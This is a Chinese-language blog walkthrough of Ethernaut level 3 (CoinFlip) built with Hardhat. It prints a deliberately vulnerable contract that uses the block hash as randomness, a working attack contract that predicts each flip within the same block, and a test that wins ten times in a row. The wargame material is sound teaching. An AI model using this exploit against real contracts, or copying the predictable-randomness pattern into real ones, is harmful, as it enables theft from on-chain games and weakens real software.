用Hardhat闯关Ethernaut题3 -coinflip

  • Verin
  • 更新于 2022-09-08 15:36
  • 阅读 1453

用Hardhat闯关Ethernaut题3 -coinflip

CoinFlip合约

任务是调用flip猜对10次结果

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";

contract CoinFlip {
    using SafeMath for uint256;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            console.log("consecutiveWins: %s", consecutiveWins);
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

这里 uint256 coinFlip = blockValue.div(FACTOR);原算结果50%是0,50%是1,FACTOR是常量,那么我们需要知道blockValue,也就是block.number,就能提前得到答案。

解题思路:用攻击合约调用CoinFlip合约可以保证block.number相同(这笔交易会被打包在一个区块中),那么就能提前知道答案。

攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity 0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";

interface CoinFlipInteface {
    function flip(bool _guess) external returns (bool);
}

contract AttackCoinFlip {
    CoinFlipInteface coinflip;
    uint256 public consecutiveWins;
    using SafeMath for uint256;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipAddress) public {
        coinflip = CoinFlipInteface(_coinFlipAddress);
    }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = uint256(uint256(blockValue).div(FACTOR));
        bool side = coinFlip == 1 ? true : false;
        bool r = coinflip.flip(side);
        consecutiveWins++;
        console.log("consecutiveWins: %s", consecutiveWins);
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("test", function () {
    var CoinFlip;
    var AttackCoinFlip;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const CoinFlipInstance = await ethers.getContractFactory("CoinFlip");
        CoinFlip = await CoinFlipInstance.deploy();
        const AttackCoinFlipInstance = await ethers.getContractFactory("AttackCoinFlip");
        AttackCoinFlip = await AttackCoinFlipInstance.deploy(CoinFlip.address);
    });
    it("hack test", async function () {
        for (let index = 0; index < 10; index++) {
            await AttackCoinFlip.attack();
        }
        const num = await CoinFlip.consecutiveWins();
        expect(num).to.equal(10);
    });
});

运行结果:

image.png

Tips:这种是典型的伪随机,使用合约去攻击就能保证block.number是相同的。

Github:hardhat测试仓库

点赞 1
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Verin
Verin
discord:Verin#2256 v: daqingchong-pro 备注来意